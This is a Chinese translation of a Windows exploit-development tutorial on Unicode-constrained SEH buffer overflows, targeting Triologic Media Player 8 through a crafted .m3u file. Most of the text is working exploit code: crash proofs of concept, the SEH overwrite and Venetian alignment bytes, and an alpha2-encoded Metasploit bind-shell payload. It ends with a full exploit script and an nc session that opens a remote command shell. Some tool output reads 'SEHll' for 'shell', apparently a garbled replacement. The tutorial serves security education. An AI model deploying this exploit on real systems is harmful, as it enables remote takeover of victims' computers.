[翻译]Windows Exploit开发系列教程第五部分：Unicode 0x00410041
译者：Netfairy
前言
欢迎来到漏洞利用系列教程第五部分. 注意到前面的难度逐渐递增并且都是建立在彼此的基础上的. 这部分有点不一样, 是时候提高游戏难度, 杀死unicode这个怪物！这部分教给你两个宝贵的经验:
(1)生活给你柠檬油漆涂过的屎黄金
(2)更加努力
我将用"Triologic Media Player 8"演示unicode的漏洞利用. 这里有写好的EXP:这里
这部分漏洞利用与坏字符无关
漏洞利用环境：Backtrack 5
调试机器：Windows XP PRO SP3
漏洞软件：下载
Unicode介绍
理解什么是unicode很重要. 假设有一个程序接受用户的输入, 如果用户是比利时或美国字符编码可能不会有什么影响, 因为我们(通常)使用同样的字符集. 然而, 如果用户用的是阿拉伯或中文字符集会怎么样呢? 显然它们不能用ASCII转换成相应语言. 如果软件开发者希望开发国际化的产品, 不免要面对unicode. 基本上unicode用一致方式直观表示大多数的字符集(ASCII 7位表示unicode 16位表示). Unicode字符代码：这里
我们猜想unicode类似于使用有限字符集(更多的在后面). 当我们利用这类型的漏洞是, 传进去的字符会被传化为unicode. 一般上仅仅在原始字节的前面追加0x00. 看这面这个例子：
ASCII: A ==> 0x41 Unicode: A ==> 0x0041 2-bytes: AB ==> 0x4142 (ASCII) AB ==> 0x00410042 (Unicode)
显然这是一个大问题, 像之前我们用于覆盖EIP的地址都会被转化为unicode. 更别提Shellcode了(=头痛). 因此很长一段时间内人们普遍认为uniocde的漏洞不能利用. 然而, 2002 Chris的一篇文章证明这是错的. 为了细致的分析unicode漏洞利用原理我推荐你看Phrack在2003年发的这篇文章. 大概对unicode利用最显著的贡献是SkyLined发布的编码器(alpha2), 他可以生成兼容unicode的Shellcode. 更多细节在后面.
上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要做更多的研究. 好吧, 开始我们的旅途！
重现崩溃
是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是POC和崩溃的截图, 你只需载入evil.m3u并点”List”按钮, 直接拖拽打开 "Triologic Media Player 8"不会崩溃.
#!/usr/bin/python -w filename="evil.m3u" buffer = "A"*5000 textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
没有什么新的东西, 附加"Triologic Media Player 8"到immunity debugger调试器并打开evil.m3u. 程序崩溃. 有几件事情需要注意:
(1)几个CPU寄存器指向我们的缓冲区, 从崩溃现场看到传入的字符都被转化为unicode
(2)内存窗口是其中一个寄存器的转储(..00410041..)
(3)SEH链同样被unicode字符覆盖
Nseh&SEH
这部分我们要处理SEH和unicode, 很多unicode的漏洞都是基于SEH利用的. 像往常一样用metsaploit模式字符串替换
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/ root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah 0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5 [...snip...]
需要提及的是, 至少在我的机器, 当我用!mona 搜索metasploit模式字符串被卡住了(一直Searching…). 幸运的是这发生在我们得到结果后. 你可以看到下面的截图(不完全)分析.
从上图可以看到SEH被两个字节(记住传入2字节会转化为4字节的uniocde)覆写, 536字节覆盖到SEH. 因此新的缓冲区像下面这样：
buffer = "\x90"*536 + [SEH] + "B"*4464 buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464
由于某种原因上面上面的偏移不准确(可能是immunity在分析的时候卡住了). 经过一会测试我发现差两个字节, 正确的布局应该是下面这样：
buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462 buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462
重新打开这个POC, shift+f9忽略初始异常后, 可以看到eip被DD’s覆写(DD=0x4444由于unicode变成0x00440044). 继续下去之前我需要解释几件事. 一般上基于SEH的利用我们想要(1)找一个指向pop pop retn 的指针 (2)nSEH写入短跳转指令跳过SEH. 如果你还不了解这些我建议你看本系列教程的第三部分. Unicode SEH利用略有不同. 我们会用pop pop retn 覆写SEH但不可能用短跳转指令覆写Nseh.
继续之前我们看看unicode指令是如何对齐的
ASCII ==> ...AAAA... Unicode ==> ...0041004100410041... But lets see what this looks like when it gets translated to instructions: ... 41 INC ECX 004100 ADD BYTE PTR DS:[ECX],AL 41 INC ECX 004100 ADD BYTE PTR DS:[ECX],AL ... So this is very very interesting! It seems like one byte will remain intact and the following byte will "absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple of candidates to absorb these 00's (these won't always be suitable): 006E00 ADD BYTE PTR DS:[ESI],CH 006F00 ADD BYTE PTR DS:[EDI],CH 007000 ADD BYTE PTR DS:[EAX],DH 007100 ADD BYTE PTR DS:[ECX],DH 007200 ADD BYTE PTR DS:[EDX],DH 007300 ADD BYTE PTR DS:[EBX],DH
回到Nseh, 既然不能覆写短跳转指令, 那么就用一些无害指令替换, 执行后不会破坏我们的缓冲区. 像下面这样：
nSEH = "\x41\x71" SEH = ????? buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462
还剩两个问题
(1)找一条unicode兼容的pop pop retn指令地址替换SEH
(2)这个地址同样应该是无害的(=头痛). 幸运的是我们可以让Mona帮助我们找到合适的地址. 看下面的截图：
我测试了所有11条指针只有一条是合适的.
Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe)
Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462下面两个截图显示执行到pop pop retn并返回, 重新整理下POC
#!/usr/bin/python -w filename="evil.m3u" #---------------------SEH-Structure---------------------# #nSEH => \x41\x71 => 41 INC ECX # # 0071 00 ADD BYTE PTR DS:[ECX],DH # #SEH => \xF2\x41 => F2: PREFIX REPNE: # # 0041 00 ADD BYTE PTR DS:[ECX],AL # #-------------------------------------------------------# #0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe # #-------------------------------------------------------# SEH = "\x41\x71" + "\xF2\x41" boom = SEH #more to come buffer = "\x90"*536 + boom + "B"*(4466-len(boom)) textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
我们已经成功绕过unicode SEH结构. 深吸一口气,拍拍自己的背呵呵, 如果你还不理解这些内容的话我建议你看看Phrack的文章, corelan的unicode教程也值得一读.
布置Shellcode
一般来说把Shellcode布置在SEH后面, 漏洞利用就算结束了. 然而, 由于unicode的原因, 这里会有一点不同. 由于unicode, 我们需要确保程序从我们Shellcode的第一个字节开始执行, 我们需要手工一个CPU指向我们Shellcode的开始地址.
你需要做下面两件事之一:
(1)找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是Shellcode的地址)
(2在堆栈找一个指向我们缓冲区的地址, 通过pop送到EIP最终会转去执行我们的Shellcode.
在这个例子我选择第一种方法. 看了一下我发现有几个寄存器都指向接近我们的缓冲区. 最后我决定使用EBP寄存器. 下面是EBP的截图：
考虑到没有对齐EBP到NOP’s(缓冲区起始地址). 经过计算我猜测增加2300字节可以使EBP指向正确的位置.(十六机制就是EBP+0x900). 然而这似乎不奏效. 如果尝试的结果不对, 那么继续努力. 努力一番后我发现770字节就可以(十六进制就是EBP+0x300). 我不知道为什么, 如果谁知道请给我发邮件.
是时候来对齐寄存器了. 像之前我们用uncide NOP’s吸收多余的00’s
"\x55" #push the value of EBP on to the stack "\x71" #Venetian Padding "\x58" #take the value of EBP and pop it into EAX "\x71" #Venetian Padding "\x05\x20\x11" #add eax,0x11002000 \ "\x71" #Venetian Padding |> the net sum will add 300 to the value in EAX "\x2d\x17\x11" #sub eax,0x11001700 / "\x71" #Venetian Padding "\x50" #push the new value of EAX onto the stack (points to our buffer) "\x71" #Venetian Padding "\xC3" #redirect execution flow to the pointer at the top of the stack ==> EAX
好的, 这应该足够了. 下面是新的POC和执行结果
#!/usr/bin/python -w filename="evil.m3u" #---------------------SEH-Structure---------------------# #nSEH => \x41\x71 => 41 INC ECX # # 0071 00 ADD BYTE PTR DS:[ECX],DH # #SEH => \xF2\x41 => F2: PREFIX REPNE: # # 0041 00 ADD BYTE PTR DS:[ECX],AL # #-------------------------------------------------------# #0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe # #-------------------------------------------------------# SEH = "\x41\x71" + "\xF2\x41" #-----------------------Alignment-----------------------# #After we step through nSEH and SEH if look at the dump # #of the CPU registers we can see several which are close# #to our Shellcode, I chose EBP. Time for some Venetian # #Black-Magic alignment... # #-------------------------------------------------------# align = ( "\x55" #push EBP "\x71" #Venetian Padding "\x58" #pop EAX "\x71" #Venetian Padding "\x05\x20\x11" #add eax,0x11002000 \ "\x71" #Venetian Padding |> +300 "\x2d\x17\x11" #sub eax,0x11001700 / "\x71" #Venetian Padding "\x50" #push EAX "\x71" #Venetian Padding "\xC3") #RETN boom = SEH + align buffer = "\x90"*536 + boom + "B"*(4466-len(boom)) textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
一切正如所料. EAX指向我们的缓冲区, 现在需要填充我们的缓冲区以便EAX直接指向我们Shellcode.
你可以用metasploit模式字符串, 但我这直接手工计算了. 下面是最后阶段的POC:
#!/usr/bin/python -w filename="evil.m3u" #---------------------SEH-Structure---------------------# #nSEH => \x41\x71 => 41 INC ECX # # 0071 00 ADD BYTE PTR DS:[ECX],DH # #SEH => \xF2\x41 => F2: PREFIX REPNE: # # 0041 00 ADD BYTE PTR DS:[ECX],AL # #-------------------------------------------------------# #0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe # #-------------------------------------------------------# SEH = "\x41\x71" + "\xF2\x41" #-----------------------Alignment-----------------------# #After we step through nSEH and SEH if look at the dump # #of the CPU registers we can see several which are close# #to our Shellcode, I chose EBP. Time for some Venetian # #Black-Magic alignment... # #-------------------------------------------------------# align = ( "\x55" #push EBP "\x71" #Venetian Padding "\x58" #pop EAX "\x71" #Venetian Padding "\x05\x20\x11" #add eax,0x11002000 \ "\x71" #Venetian Padding |> +300 "\x2d\x17\x11" #sub eax,0x11001700 / "\x71" #Venetian Padding "\x50" #push EAX "\x71" #Venetian Padding "\xC3") #RETN #We need to pad our buffer to the place of our alignment in EAX filler = "\x58"*117 Shellcode = ( ) boom = SEH + align + filler + Shellcode buffer = "\x90"*536 + boom + "B"*(4466-len(boom)) textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
Shellcode+游戏结束
到这里游戏真的结束了. 现在只需生成一些unicode兼容的Shellcode. 感谢SkyLined所做的工作. 使得生成unicode兼容Shellcode很轻松. 你可以在这里获得alpha2编码器：这里. 下载C代码并用gcc编译. 下面是产生Shellcode的语法：
root@bt:/pentest/alpha2# msfpayload -l [...snip...] windows/SEHll/reverse_tcp_dns Connect back to the attacker, Spawn a piped command SEHll (staged) windows/SEHll_bind_tcp Listen for a connection and spawn a command SEHll windows/SEHll_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a command SEHll[...snip...] root@bt:/pentest/alpha2# msfpayload windows/SEHll_bind_tcp O Name: Windows Command SEHll, Bind TCP Inline Module: payload/windows/SEHll_bind_tcp Version: 8642 Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 <vlad902@gmail.com> sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command SEHll root@bt:/pentest/alpha2# msfpayload windows/SEHll_bind_tcp LPORT=9988 R > bindSEHll9988.raw root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindSEHll9988.raw PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1 AYAZBABABABAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKCBMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOL MKQY7YRL022R74KPRLP4KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM1YFP1KONQ7P6L7QXOLMKQ7W08K0R UZTM33ML8OKCMO4SEYRQHTKPXO4KQICQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQJTKMBJKTFQM38NSOBK PKPQXBWBSNRQOB4QXPLBWN***KO8UWHDPM1KPKPNIWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9K1CRHM2K PNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0 WPWNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV26PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7M MQPKOXUGKJPGEVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA
编码Shellcode的时候注意指定适当的寄存器. 增加一些注释, 最后的POC如下：
#!/usr/bin/python -w #-------------------------------------------------------------------------------# # Exploit: Triologic Media Player 8 (.m3u) SEH Unicode # # Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/ # # OS: WinXP PRO SP3 # # Software: http://download.cnet.com/Triologic-Media-Player/ # # 3000-2139_4-10691520.html # #-------------------------------------------------------------------------------# # This exploit was created for Part 5 of my Exploit Development tutorial # # series - http://www.fuzzysecurity.com/tutorials/expDev/5.html # #-------------------------------------------------------------------------------# # root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988 # # (UNKNOWN) [192.168.111.128] 9988 (?) open # # Microsoft Windows XP [Version 5.1.2600] # # (C) Copyright 1985-2001 Microsoft Corp. # # # # C:\Documents and Settings\Administrator\Desktop> # #-------------------------------------------------------------------------------# filename="evil.m3u" #---------------------SEH-Structure---------------------# #nSEH => \x41\x71 => 41 INC ECX # # 0071 00 ADD BYTE PTR DS:[ECX],DH # #SEH => \xF2\x41 => F2: PREFIX REPNE: # # 0041 00 ADD BYTE PTR DS:[ECX],AL # #-------------------------------------------------------# #0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe # #-------------------------------------------------------# SEH = "\x41\x71" + "\xF2\x41" #-----------------------Alignment-----------------------# #After we step through nSEH and SEH if look at the dump # #of the CPU registers we can see several which are close# #to our Shellcode, I chose EBP. Time for some Venetian # #Black-Magic alignment... # #-------------------------------------------------------# align = ( "\x55" #push EBP "\x71" #Venetian Padding "\x58" #pop EAX "\x71" #Venetian Padding "\x05\x20\x11" #add eax,0x11002000 \ "\x71" #Venetian Padding |> +300 "\x2d\x17\x11" #sub eax,0x11001700 / "\x71" #Venetian Padding "\x50" #push EAX "\x71" #Venetian Padding "\xC3") #RETN #We need to pad our buffer to the place of our alignment in EAX filler = "\x58"*117 #---------------------------------------Shellcode---------------------------------------------# #root@bt:/pentest/alpha2# msfpayload windows/SEHll_bind_tcp LPORT=9988 R > bindSEHll9988.raw # #root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindSEHll9988.raw # #---------------------------------------------------------------------------------------------# Shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1" "AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA" "BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC" "BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4" "KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM" "1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI" "CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ" "JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWN***KO8UWHDPM1KPKPN" "IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9" "K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50" "SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP" "WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2" "6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG" "EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA") boom = SEH + align + filler + Shellcode buffer = "\x90"*536 + boom + "B"*(4466-len(boom)) textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
下图可以看到EAX精确指向我们的Shellcode, 打开POC后再
netstat –an
可以看到binshell正在监听, 游戏结束！！
root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988 (UNKNOWN) [192.168.111.128] 9988 (?) open Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.111.128 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : C:\Documents and Settings\Administrator\Desktop>
附上原文：http://www.fuzzysecurity.com/tutorials/expDev/5.html
